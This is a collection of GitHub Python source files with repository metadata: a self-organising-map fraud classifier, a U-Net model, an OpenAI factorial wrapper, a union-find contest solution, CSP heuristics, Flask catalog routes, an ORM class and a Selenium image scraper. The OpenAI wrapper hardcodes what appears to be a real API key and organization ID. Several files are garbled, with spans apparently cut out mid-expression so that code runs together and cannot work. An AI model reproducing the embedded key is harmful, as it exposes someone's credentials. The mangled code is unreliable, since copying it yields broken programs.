+{"seq_id":"16885037125","text":"import pandas as pd\nfrom minisom import MiniSom\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\nfrom sklearn.model_selection import train_test_split\nfrom utils.dataset_handle import pre_processing_dataframe\nimport time\nimport numpy as np\n\n\ndef classify(som: MiniSom, data, class_assignments):\n \"\"\"Classifies each sample in data in one of the classes definited\n using the method labels_map.\n Returns a list of the same length of data where the i-th element\n is the class assigned to data[i].\n \"\"\"\n winmap = class_assignments # noqa\n default_class = np.sum(list(winmap.values())).most_common()[0][0]\n result = []\n for d in data:\n win_position = som.winner(d)\n if win_position in winmap:\n result.append(winmap[win_position].most_common()[0][0])\n else:\n result.append(default_class)\n return result\n\n\ndef kohonen_sklearn(credit_card_df: pd.DataFrame):\n try:\n print('RBF SKLEARN\\nProcessing data')\n x_data, y_data = pre_processing_dataframe(credit_card_df)\n print(len(x_data))\n\n print('Splitting data')\n x_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size=0.3, random_state=42)\n start_time = time.time()\n\n print('Training model')\n som = MiniSom(45, 45, sigma=3, learning_rate=0.5,\n neighborhood_function='triangle', random_seed=10, input_len=x_data.shape[1])\n som.pca_weights_init(x_train)\n som.train_random(x_train, 5000, verbose=True)\n class_assignments = som.labels_map(x_train, y_train)\n\n predictions = classify(som, x_test, class_assignments)\n\n accuracy = accuracy_score(predictions, y_test)\n print(f'Accuracy: {accuracy:.2f}')\n\n print('\\n\\n##########Evaluating###########\\n\\n')\n print(f'\\nTotal elapsed time: {(time.time() - start_time) / 60} minutes')\n print(f'\\nConfusion matrix:\\n {confusion_matrix(y_test, predictions)}')\n print(f'\\nClassification Report:\\n {classification_report(y_test, predictions)}')\n except Exception as e:\n print(f'Error: {e}')\n","repo_name":"lmgomes91/fraud-detection-algorithm","sub_path":"methods/kohonen_scikit_learn.py","file_name":"kohonen_scikit_learn.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70165084970","text":"import os\n\nimport timm\nimport torch.hub\nfrom torch.nn import Dropout2d, UpsamplingBilinear2d, AdaptiveAvgPool2d\nfrom torch.utils import model_zoo\n\nfrom utilities.unet_vflow import EncoderRegressionHead, RegressionHead, ScaleHead\n\nencoder_params = {\n \"tf_efficientnetv2_l_in21k\": {\n 'last_upsample': 64,\n \"decoder_filters\": [64, 128, 192, 256],\n 'url': None,\n },\n}\n\ndefault_decoder_filters = [48, 96, 176, 256]\ndefault_last = 48\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n\nclass BasicConvAct(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=1, dilation=1, activation=nn.ReLU, bias=True):\n super().__init__()\n padding = int((kernel_size - 1) / 2) * dilation\n self.op = nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, padding=padding, dilation=dilation,\n bias=bias)\n self.use_act = activation is not None\n if self.use_act:\n self.act = activation()\n\n def forward(self, x):\n x = self.op(x)\n if self.use_act:\n x = self.act(x)\n return x\n\n\nclass Conv1x1(BasicConvAct):\n def __init__(self, in_channels, out_channels, dilation=1, bias=True):\n super().__init__(in_channels, out_channels, kernel_size=1, dilation=dilation, activation=None, bias=bias)\n\n\nclass Conv3x3(BasicConvAct):\n def __init__(self, in_channels, out_channels, dilation=1):\n super().__init__(in_channels, out_channels, kernel_size=3, dilation=dilation, activation=None)\n\n\nclass ConvReLu1x1(BasicConvAct):\n def __init__(self, in_channels, out_channels, dilation=1):\n super().__init__(in_channels, out_channels, kernel_size=1, dilation=dilation, activation=nn.ReLU)\n\n\nclass ConvReLu3x3(BasicConvAct):\n def __init__(self, in_channels, out_channels, dilation=1):\n super().__init__(in_channels, out_channels, kernel_size=3, dilation=dilation, activation=nn.ReLU)\n\n\nclass BasicUpBlock(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, activation=nn.ReLU, mode='nearest'):\n super().__init__()\n padding = int((kernel_size - 1) / 2) * 1\n self.op = nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, padding=padding, dilation=1)\n self.use_act = activation is not None\n self.mode = mode\n if self.use_act:\n self.act = activation()\n\n def forward(self, x):\n x = F.upsample(x, scale_factor=2, mode=self.mode)\n x = self.op(x)\n if self.use_act:\n x = self.act(x)\n return x\n\n\nclass AbstractModel(nn.Module):\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d):\n m.weight.data = nn.init.kaiming_normal_(m.weight.data)\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n def initialize_encoder(self, model, model_url, num_channels_changed=False):\n if os.path.isfile(model_url):\n pretrained_dict = torch.load(model_url)\n else:\n pretrained_dict = model_zoo.load_url(model_url)\n if 'state_dict' in pretrained_dict:\n pretrained_dict = pretrained_dict['state_dict']\n pretrained_dict = {k.replace(\"module.\", \"\"): v for k, v in pretrained_dict.items()}\n model_dict = model.state_dict()\n pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict}\n if num_channels_changed:\n model.state_dict()[self.first_layer_params_names[0] + '.weight'][:, :3, ...] = pretrained_dict[\n self.first_layer_params_names[0] + '.weight'].data\n skip_layers = self.first_layer_params_names\n pretrained_dict = {k: v for k, v in pretrained_dict.items() if\n not any(k.startswith(s) for s in skip_layers)}\n model.load_state_dict(pretrained_dict, strict=False)\n\n @property\n def first_layer_params_names(self):\n return ['conv1.conv']\n\n\nclass TimmUnet(AbstractModel):\n def __init__(self, encoder='resnet34', use_last_decoder=True, **kwargs):\n if not hasattr(self, 'first_layer_stride_two'):\n self.first_layer_stride_two = True\n if not hasattr(self, 'decoder_block'):\n self.decoder_block = UnetDecoderBlock\n if not hasattr(self, 'bottleneck_type'):\n self.bottleneck_type = ConvBottleneck\n\n backbone_arch = encoder\n backbone = timm.create_model(backbone_arch.replace(\"_fat\", \"\"), features_only=True, pretrained=True, **kwargs)\n self.filters = [f[\"num_chs\"] for f in backbone.feature_info]\n self.decoder_filters = default_decoder_filters\n self.last_upsample_filters = default_last\n if encoder in encoder_params:\n self.decoder_filters = encoder_params[encoder].get('decoder_filters', self.filters[:-1])\n self.last_upsample_filters = encoder_params[encoder].get('last_upsample', self.decoder_filters[0] // 2)\n\n super().__init__()\n\n self.bottlenecks = nn.ModuleList([self.bottleneck_type(self.filters[-i - 2] + f, f) for i, f in\n enumerate(reversed(self.decoder_filters[:]))])\n\n self.decoder_stages = nn.ModuleList([self.get_decoder(idx) for idx in range(0, len(self.decoder_filters))])\n\n if self.first_layer_stride_two:\n if use_last_decoder:\n self.last_upsample = UnetDecoderBlock2Conv(self.decoder_filters[0], self.last_upsample_filters,\n self.last_upsample_filters)\n else:\n self.last_upsample = UpsamplingBilinear2d(scale_factor=2)\n self.xydir_head = EncoderRegressionHead(\n in_channels=self.filters[-1],\n out_channels=2,\n )\n\n self.height_head = RegressionHead(\n in_channels=self.last_upsample_filters,\n out_channels=1,\n kernel_size=3,\n )\n\n self.mag_head = RegressionHead(\n in_channels=self.last_upsample_filters,\n out_channels=1,\n kernel_size=3,\n )\n\n self.scale_head = ScaleHead()\n\n self.name = \"u-{}\".format(encoder)\n\n self._initialize_weights()\n self.dropout = Dropout2d(p=0.0)\n self.encoder = backbone\n\n # noinspection PyCallingNonCallable\n def forward(self, x, city=None, **kwargs):\n # Encoder\n x = x.contiguous(memory_format=torch.channels_last)\n enc_results = self.encoder(x)\n x = enc_results[-1]\n bottlenecks = self.bottlenecks\n for idx, bottleneck in enumerate(bottlenecks):\n rev_idx = - (idx + 1)\n x = self.decoder_stages[rev_idx](x)\n x = bottleneck(x, enc_results[rev_idx - 1])\n xydir = self.xydir_head(enc_results[-1])\n x = self.last_upsample(x)\n\n decoder_output = x\n height = self.height_head(decoder_output).contiguous(memory_format=torch.contiguous_format)\n mag = self.mag_head(decoder_output).contiguous(memory_format=torch.contiguous_format)\n scale = self.scale_head(mag, height)\n if scale.ndim == 0:\n scale = torch.unsqueeze(scale, axis=0)\n\n return {\"xydir\": xydir, \"height\": height, \"mag\": mag, \"scale\": scale}\n\n def get_decoder(self, layer):\n in_channels = self.filters[layer + 1] if layer + 1 == len(self.decoder_filters) else self.decoder_filters[\n layer + 1]\n return self.decoder_block(in_channels, self.decoder_filters[layer], self.decoder_filters[max(layer, 0)])\n\n def make_final_classifier(self, in_filters, num_classes):\n if isinstance(num_classes, int):\n return nn.Sequential(\n nn.Conv2d(in_filters, num_classes, 1, padding=0)\n )\n else:\n raise ValueError(\"unknown numclasses type: \" + type(num_classes))\n\n def get_encoder(self, encoder, layer):\n raise NotImplementedError\n\n @property\n def first_layer_params(self):\n return _get_layers_params([self.encoder_stages[0]])\n\n @property\n def first_layer_params_names(self):\n raise NotImplementedError\n\n @property\n def layers_except_first_params(self):\n layers = get_slice(self.encoder_stages, 1, -1) + [self.bottlenecks, self.decoder_stages, self.final]\n return _get_layers_params(layers)\n\n\ndef _get_layers_params(layers):\n return sum((list(l.parameters()) for l in layers), [])\n\n\ndef get_slice(features, start, end):\n if end == -1:\n end = len(features)\n return [features[i] for i in range(start, end)]\n\n\nclass ConvBottleneck(nn.Module):\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.seq = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, dec, enc):\n x = torch.cat([dec, enc], dim=1)\n return self.seq(x)\n\n\nclass UnetDecoderBlock(nn.Module):\n def __init__(self, in_channels, middle_channels, out_channels):\n super().__init__()\n self.layer = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n return self.layer(x)\n\n\nclass UnetDecoderBlock2Conv(nn.Module):\n def __init__(self, in_channels, middle_channels, out_channels):\n super().__init__()\n self.layer = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.ReLU(inplace=True),\n )\n\n def forward(self, x):\n return self.layer(x)\n\nclass TimmUnetFeat(TimmUnet):\n\n def __init__(self, encoder='resnet34', use_last_decoder=True, **kwargs):\n super().__init__(encoder, use_last_decoder, **kwargs)\n self.avg_pool = AdaptiveAvgPool2d((1, 1))\n\n def forward(self, x, city=None, **kwargs):\n enc_results = self.encoder(x)\n x = enc_results[-1]\n x = self.avg_pool(x).flatten(1)\n return x\n","repo_name":"drivendataorg/overhead-geopose-challenge","sub_path":"1st Place/utilities/unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":10386,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"53"}
+{"seq_id":"26164606391","text":"from pydantic import BaseModel\nimport openai as op\n\nop.api_key='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'\nop.organization='org-Yo1JN6VlDoZBuPwiLbGxWPgm'\n\nclass Model(BaseModel):\n tipo : int\n\ndef funcion(frase:int)->list:\n contenido=op.ChatCompletion.create(\n model='gpt-3.5-turbo',\n messages=[\n {'role':'system','content':'Eres una calculadora factorial'},\n {'role':'user','content':'Calcula el factorial del numero ingresado y muestre el resultado de tipo entero que se envie en el body y muestra el resultado y si es un tipo texto presenta un error'+str(frase)}\n ]\n\n\n )\n v1=contenido.choices[0].message.content\n v2=contenido.usage.total_tokens\n return [v1,v2]","repo_name":"ejcondorf8/PRUEBA_DESARROLO","sub_path":"API/Api.py","file_name":"Api.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31640736268","text":"# oj t -c \"python main.py\" -d \"./tests/\" \n\n# a,b = map(int,input().split())\n# a = list(map(int,input().split()))\n# a = [list(map(int,input().split())) for _ in range(n)]\n\n# import sys\n# read = sys.stdin.buffer.read\n# readline = sys.stdin.buffer.readline\n# readlines = sys.stdin.buffer.readlines\n\n# 検討?分 実装分 バグとり分\n\n# import sys\n# import os\n# f = open('../../../input.txt', 'r')\n# sys.stdin = f\n\nimport sys\nsys.setrecursionlimit(10**9)\n\nclass UnionFind():\n def __init__(self, n):\n self.n = n\n self.parents = [-1] * n\n\n def find(self,x):\n if(self.parents[x] < 0):\n return x\n self.parents[x] = self.find(self.parents[x])\n return self.parents[x]\n\n def size(self, x):\n return self.parents[ self.find(x) ] * -1\n\n def same(self, x, y):\n x_root = self.find(x)\n y_root = self.find(y)\n return (x_root == y_root)\n\n def union(self,x,y):\n x_root = self.find(x)\n y_root = self.find(y)\n if(x_root == y_root):\n return\n\n if( self.parents[x_root] <= self.parents[y_root] ):\n self.parents[x_root] += self.parents[y_root]\n self.parents[y_root] = x_root\n else:\n self.parents[y_root] += self.parents[x_root]\n self.parents[x_root] = y_root\n\n def members(self,x):\n root = self.find(x)\n ret = [ i for i in range(self.n) if self.find(i) == root ]\n return ret\n\n def roots(self):\n ret = [ i for i in range(self.n) if self.parents[i] < 0]\n return ret\n\n def group_count(self):\n return len(self.roots())\n\n def all_group_members(self):\n return {r: self.members(r) for r in self.roots()}\n\nimport sys\nread = sys.stdin.buffer.read\nreadline = sys.stdin.buffer.readline\nreadlines = sys.stdin.buffer.readlines\n\nn,m,x,*data = map(int,read().split())\nmod = 10**9+7\n\nit = iter(data)\nuvw = [[u-1,v-1,w] for u,v,w in zip(it,it,it)]\nuvw.sort(key=lambda x: x[2])\n\nif(n<=2):\n print(0)\n exit()\n\ncosts = [-1]\nunder_x = [0]\nover_x = [0]\nfor z in range(1,m):\n uf = UnionFind(n)\n uz,vz,w = uvw[z]\n uf.union(uz,vz)\n cost = w\n for i in range(m):\n if(i == z):\n continue\n u,v,w = uvw[i]\n if not uf.same(u,v): \n uf.union(u,v)\n cost += w\n \n costs.append(cost)\n under_x.append(under_x[-1] + (costx))\n\nans = 0\nfor i in range(1,m):\n if(costs[i] == x):\n ans += pow(2, m-i-1 - (under_x[-1] - under_x[i]) + over_x[i-1], mod)\n ans %= mod\n\nans *= 2\nans %= mod\n# print(ans)\n# print(costs)\n# print(under_x)\n\n# 102行目以降、これでもOK\n# costs.sort()\n# ans = 0\n# for i,ci in enumerate(costs):\n# if(ci == x):\n# ans += pow(2, m-i,mod)\n# ans %= mod\n# print(ans)\n\n","repo_name":"komajun365/competitive_programming","sub_path":"arc/arc093/e/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8335009","text":"# function prototype was given already as part of the assignment.\n# ALl the methods were implemented by me. EXCEPT last two get methods\n\"\"\"Heuristics for variable selection and value ordering.\n\nArtificial Intelligence\n\nStudent Details\n---------------\nStudent Name: Jitesh Sindhare\nStudent Number: U-------\nDate: 26/04/2018\n\nThis is where you need to write your heuristics for variable selection and\nvalue ordering.\n\"\"\"\nfrom typing import Callable, Dict, List, Optional\n\nfrom csp import CSP\n\nAssignment = Dict[str, str]\n\n\n# -----------------------------------------------------------------------------\n# Variable Selection Heuristics\n# -----------------------------------------------------------------------------\n\n\ndef next_variable_lex(assignment: Assignment, gamma: CSP) -> Optional[str]:\n \"\"\"Select the next variable by lexicographic order.\n\n Select the next variable from the remaining variables according to\n lexicographic order. We have implemented this one for you.\n\n Parameters\n ----------\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n variable : Optional[str]\n The name of the next variable chosen by this heuristic. If there are no\n remaining unassigned variables, we return None.\n\n \"\"\"\n # gamma.variables is a list of variable names (as strings). See line 43 in\n # csp.py. We consider them in the order they are added in.\n for var in gamma.variables:\n if var not in assignment:\n return var\n return None\n\n# Counts number of unassigned variables a variable has.\ndef count_unassigned_variables(neighbours, unassigned_variables):\n res=0\n if type(neighbours)==set:\n for n in neighbours:\n if n in unassigned_variables:\n res+=1\n else:\n continue\n return res\n else:\n res=0\n dict=neighbours\n for key,val in dict.items():\n if key in unassigned_variables:\n res+=1\n else:\n continue\n return res\n\n\ndef next_variable_md(assignment: Assignment, gamma: CSP) -> Optional[str]:\n \"\"\"Implement the most constraining variable (MD) heuristic.\n\n Choose the variable that won't conflict much with other variables. See\n Lecture 11 for the precise definition. Break ties by lexicographic order.\n\n Parameters\n ----------\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n variable : Optional[str]\n The name of the next variable chosen by this heuristic. If there are no\n remaining unassigned variables, we return None.\n\n \"\"\"\n # *** YOUR CODE HERE ***\n\n unassigned_variables=[]\n\n\n for val in gamma.variables:\n if val not in assignment:\n unassigned_variables.append(val)\n # TYPE OF NEIGHBOURS IS SET -type(gamma.neighbours[unassigned_variables[i]] IS SET\n\n #---------------------------------CHECKING NEIGHBOURS OF ALL UNASSIGNED VARIABLES-----\n\n coun_unassigned_variables = -99999999999\n variable_to_send_n=0\n\n for i in range(len(unassigned_variables)):\n if coun_unassigned_variables<0:\n coun_unassigned_variables=count_unassigned_variables(gamma.neighbours[unassigned_variables[i]], unassigned_variables)\n variable_to_send_n=unassigned_variables[i]\n if i+1 Optional[str]:\n \"\"\"Implement the most constrained variable heuristic (MRV).\n\n Choose the variable with the smallest consistent domain. See Lecture 11 for\n the precise definition. Break ties by lexicographic order.\n\n Parameters\n ----------\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n variable : Optional[str]\n The name of the next variable chosen by this heuristic. If there are no\n remaining unassigned variables, we return None.\n\n \"\"\"\n # *** YOUR CODE HERE ***\n # for list of all unsassigned variables to work with\n unassigned_variables = []\n\n for val in gamma.variables:\n if val not in assignment:\n unassigned_variables.append(val)\n else:\n continue\n\n# initializing variable for counting and variables\n co_con=0\n variable_return=0\n count_conflicts1=0\n count_conflicts2=0\n for i in range(len(unassigned_variables)):\n temp1=0\n if i==0:\n for d in gamma.current_domains[unassigned_variables[i]]:\n if gamma.count_conflicts(unassigned_variables[i],d)>0:\n continue\n elif gamma.count_conflicts(unassigned_variables[i],d)==0:\n temp1+=1\n count_conflicts1=temp1\n variable_return=unassigned_variables[i]\n if i+10:\n continue\n elif gamma.count_conflicts(unassigned_variables[i+1],d)==0:\n c+=1\n count_conflicts2=c\n if count_conflicts2 Optional[str]:\n \"\"\"Implement MD heuristic, breaking ties with MRV.\n\n Choose the variable that won't conflict much with other variables. If there\n is a tie, choose the variable with the smallest consistent domain. See\n Lecture 11 for the precise definition.\n\n Parameters\n ----------\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n variable : Optional[str]\n The name of the next variable chosen by this heuristic. If there are no\n remaining unassigned variables, we return None.\n\n \"\"\"\n # *** YOUR CODE HERE ***\n # initializing list of unassigned variables\n unassigned_variables=[]\n # getting lsit of all unassigned variables\n for val in gamma.variables:\n if val not in assignment:\n unassigned_variables.append(val)\n\n #---------------------------------CHECKING NEIGHBOURS OF ALL UNASSIGNED VARIABLES\n coun_unassigned_neighbours = -9999999999\n variable_to_send_n=0\n\n for i in range(len(unassigned_variables)):\n if coun_unassigned_neighbours<0:\n coun_unassigned_neighbours=count_unassigned_variables(gamma.neighbours[unassigned_variables[i]], unassigned_variables)\n variable_to_send_n=unassigned_variables[i]\n if i+1 Optional[str]:\n \"\"\"Implement MRV heuristic, breaking ties with MD.\n\n Choose the variable with the smallest consistent domain. If there is a tie,\n choose the variable that won't conflict much with other variables. See\n Lecture 11 for the precise definition.\n\n Parameters\n ----------\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n variable : Optional[str]\n The name of the variable chosen by this heuristic. If there are no\n remaining unassigned variables, we return None.\n\n \"\"\"\n # *** YOUR CODE HERE ***\n\n # for list of all unsassigned variables to work with\n unassigned_variables = []\n\n for val in gamma.variables:\n if val not in assignment:\n unassigned_variables.append(val)\n else:\n continue\n\n # initializing variable for counting and variables\n co_con = 0\n variable_to_return = 0\n count_conflicts1 = 0\n count_conflicts2 = 0\n for i in range(len(unassigned_variables)):\n temp1 = 0\n if i == 0:\n for d in gamma.current_domains[unassigned_variables[i]]:\n if gamma.count_conflicts(unassigned_variables[i], d) > 0:\n continue\n elif gamma.count_conflicts(unassigned_variables[i], d) == 0:\n temp1 += 1\n count_conflicts1 = temp1\n variable_to_return = unassigned_variables[i]\n if i + 1 < len(unassigned_variables):\n c = 0\n for d in gamma.current_domains[unassigned_variables[i + 1]]:\n if gamma.count_conflicts(unassigned_variables[i + 1], d) > 0:\n continue\n elif gamma.count_conflicts(unassigned_variables[i + 1], d) == 0:\n c += 1\n count_conflicts2 = c\n if count_conflicts2 < count_conflicts1:\n co_con = temp1\n count_conflicts1 = count_conflicts2\n variable_to_return = unassigned_variables[i + 1]\n\n # breaking ties with md\n elif count_conflicts2 == count_conflicts1:\n variable_to_return = next_variable_md(assignment, gamma)\n\n if len(unassigned_variables) == 0:\n return None\n else:\n return variable_to_return\n\n\n# -----------------------------------------------------------------------------\n# Value Ordering Heuristics\n# -----------------------------------------------------------------------------\n\n\ndef value_ordering_lex(var: str, assignment: Assignment, gamma: CSP) -> List[str]:\n \"\"\"Order the values based on lexicographic order.\n\n In this heuristic, variable values are ordered in lexicographic order. We\n have implemented this heuristic for you. We make use of the attribute\n `gamma.current_domains` to be useful. This is a dictionary that maps a\n variable name (a string) to a set of values (a set of strings) in that\n variable's current domain.\n\n Parameters\n ----------\n var : str\n The name of the variable which we want to assign a value.\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n values : List[str]\n A list the values (represented a strings) in the current domain of the\n variable, sorted according to this heuristic.\n\n \"\"\"\n # We need to explicitly convert a set to a list.\n\n return list(gamma.current_domains[var])\n\n\ndef value_ordering_lcvf(var: str, assignment: Assignment, gamma: CSP) -> List[str]:\n \"\"\"Order the values based on the Least Constraining Value heuristic.\n\n This heuristic returns values in order of how constraining they are. It\n prefers the value that rules out the fewest choices for the neighbouring\n variables in the constraint graph. In other words, it prefers values which\n remove the fewest elements from the current domains of their neighbouring\n variables.\n\n See Lecture 11 for the precise definition. You might find the attribute\n `gamma.current_domains` to be useful. This is a dictionary that maps a\n variable name (a string) to a set of values (a set of strings) in that\n variable's current domain.\n\n Parameters\n ----------\n var : str\n The name of the variable which we want to assign a value.\n assignment : Dict[str, str]\n A Python dictionary that maps variable names to values.\n gamma : CSP\n An instance of the class CSP, representing the constraint network\n to which we are looking for a solution.\n\n Returns\n -------\n values : List[str]\n All the values in the current domain of the variable, sorted according\n to this heuristic.\n\n \"\"\"\n\n result=[]\n # *** YOUR CODE HERE ***\n last_val=[]\n for d in gamma.current_domains[var]:\n #since we have to find value which is least constraint, so first getting number of violated constraints\n # and then accordingly saved and sorted\n c=gamma.get_violated_constraints(var,d) # its type is set\n\n if len(last_val)>0:\n if last_val[-1]>len(c):\n l=last_val[-1]\n last_val.remove(l)\n last_val.append(len(c))\n last_val.append(l)\n r=result[-1]\n result.remove(r)\n result.append(d)\n result.append(r)\n elif last_val[-1]<=len(c):\n last_val.append(len(c))\n result.append(d)\n else:\n last_val.append(len(c))\n result.append(d)\n\n #sorting the resulting list according to heuristic with best value of domain first\n for k in range(len(last_val)):\n for i in range(len(last_val)):\n if i+1 Callable:\n \"\"\"Return the appropriate variable selection function.\"\"\"\n if variable_heuristic == \"lex\":\n return next_variable_lex\n if variable_heuristic == \"md\":\n return next_variable_md\n if variable_heuristic == \"mrv\":\n return next_variable_mrv\n if variable_heuristic == \"md-mrv\":\n return next_variable_md_mrv\n if variable_heuristic == \"mrv-md\":\n return next_variable_mrv_md\n\n raise ValueError(f\"Error: the variable selection heuristic \"\n f\"'{variable_heuristic}' is not supported\")\n\n\ndef get_value_ordering_function(value_heuristic: str) -> Callable:\n \"\"\"Return the appropriate value ordering function.\"\"\"\n if value_heuristic == \"lex\":\n return value_ordering_lex\n if value_heuristic == \"lcvf\":\n return value_ordering_lcvf\n\n raise ValueError(f\"Error: the value selection heuristic \"\n f\"'{value_heuristic}' is not supported\")\n","repo_name":"JiteshSindhare/Ai","sub_path":"Constraint Satisfaction problems/heuristics.py","file_name":"heuristics.py","file_ext":"py","file_size_in_byte":17492,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"27665034699","text":"from flask import Flask, render_template, request, redirect, url_for, flash\nfrom flask import session as login_session\n\nfrom sqlalchemy import asc, desc\nfrom sqlalchemy.exc import IntegrityError\n\nimport string\nimport os\n\nfrom models.category import *\nfrom models.item import *\nfrom helpers import *\n\n\n# Show Categories and recently added items on the main page\n@app.route('/')\n@app.route('/catalog/')\ndef listCategories():\n\n categories = session.query(Category).order_by(\n asc(Category.name)).all()\n\n recentItems = session.query(Item).order_by(\n desc(Item.modified)).limit(10).all()\n\n if 'username' not in login_session:\n\n return render_template('public_categories.html',\n categories=categories, recentItems=recentItems)\n\n else:\n\n return render_template('categories.html', categories=categories,\n recentItems=recentItems,\n usr=login_session['username'])\n\n\n# Add Category\n@app.route('/catalog/newcategory/', methods=['GET', 'POST'])\n@login_required\ndef newCategory():\n\n if request.method == 'POST':\n\n try:\n\n new = Category(name=request.form['name'],\n uid=login_session['user_id'])\n\n session.add(new)\n session.commit()\n\n flash(\"Category %s has been created\" % new.name)\n\n except IntegrityError:\n\n session.rollback()\n flash(\"Category %s not created. Looks like it already exists.\"\n % new.name)\n\n return redirect(url_for('listCategories'))\n\n else:\n\n return render_template('newcategory.html',\n usr=login_session['username'])\n\n\n# Delete Category\n@app.route('/catalog//delete/', methods=['GET', 'POST'])\n@login_required\ndef delCategory(category_name):\n\n cat2del = session.query(Category).filter_by(name=category_name).one()\n\n if cat2del.uid != login_session['user_id']:\n\n return NOT_AUTH_ERR\n\n if request.method == 'POST':\n\n session.delete(cat2del)\n session.commit()\n flash(\"Category %s has been deleted\" % cat2del.name)\n return redirect(url_for('listCategories'))\n\n else:\n\n return render_template('delcategory.html', category=cat2del,\n usr=login_session['username'])\n\n\n# Edit Category\n@app.route('/catalog//edit/', methods=['GET', 'POST'])\n@login_required\ndef editCategory(category_name):\n\n cat2edit = session.query(Category).filter_by(name=category_name).one()\n\n if cat2edit.uid != login_session['user_id']:\n\n return NOT_AUTH_ERR\n\n if request.method == 'POST' and request.form['name']:\n\n cat2edit.name = request.form['name']\n session.add(cat2edit)\n session.commit()\n flash(\"Category %s has been modified\"\n % (category_name))\n\n return redirect(url_for('listCategories'))\n\n else:\n\n return render_template('editcategory.html', category=cat2edit,\n usr=login_session['username'])\n","repo_name":"wo984c/itemCatalog","sub_path":"handlers/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42952452536","text":"\n\nfrom app.orm import ORM\n\nclass Comp(ORM):\n\n tablename = 'comps'\n fields = ['comp_id', 'comp_name', 'sub_comp_id', 'sub_comp_name', 'start_date', 'end_date', 'league']\n\n def __init__(self, *args, **kwargs):\n self.comp_id = kwargs.get('comp_id')\n self.comp_name = kwargs.get('comp_name')\n self.sub_comp_id = kwargs.get('sub_comp_id')\n self.sub_comp_name = kwargs.get('sub_comp_name')\n self.start_date = kwargs.get('start_date')\n self.end_date = kwargs.get('end_date')\n self.league = kwargs.get('league')\n\n ","repo_name":"RJSPEED/PROJECT_SQUASH_CLUB","sub_path":"DB/app/comp.py","file_name":"comp.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8408693846","text":"import time\nimport re\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom urllib.request import urlretrieve\nfrom selenium.webdriver.common.keys import Keys\n\n\nclass Sel():\n def __init__(self, url):\n self.driver = webdriver.Firefox()\n self.driver.implicitly_wait(30)\n self.base_url = url\n self.verificationErrors = []\n self.accept_next_alert = True\n\n def get_images(self, what, scrolls):\n print(\"Getting images...\")\n driver = self.driver\n\n driver.get(self.base_url)\n input_element = driver.find_element_by_name(\"q\")\n input_element.send_keys(what)\n input_element.send_keys(Keys.ENTER)\n time.sleep(10)\n driver.find_element_by_link_text(\"Grafika\").click()\n for i in range(scrolls):\n if i % 4 == 0 and i > 0:\n try:\n driver.find_element_by_id(\"smb\").click()\n except:\n print(\"No button to click\")\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(4)\n html_source = driver.page_source\n data = html_source.encode('utf-8')\n soup = BeautifulSoup(data, features=\"lxml\")\n images = []\n for image in soup.find_all(\"img\"):\n try:\n images.append(image['src'])\n except:\n continue\n\n return images\n\n def save_files(self, urls):\n print(\"Saving...\")\n counter = 0\n for adress in urls:\n try:\n urlretrieve(adress, \"images\\\\image{}.jpg\".format(counter))\n except:\n continue\n counter += 1\n\n\nurl = \"https://www.google.com\"\nwanted_pics = \"hedgehog\"\nengine = Sel(url)\nimages = engine.get_images(wanted_pics, 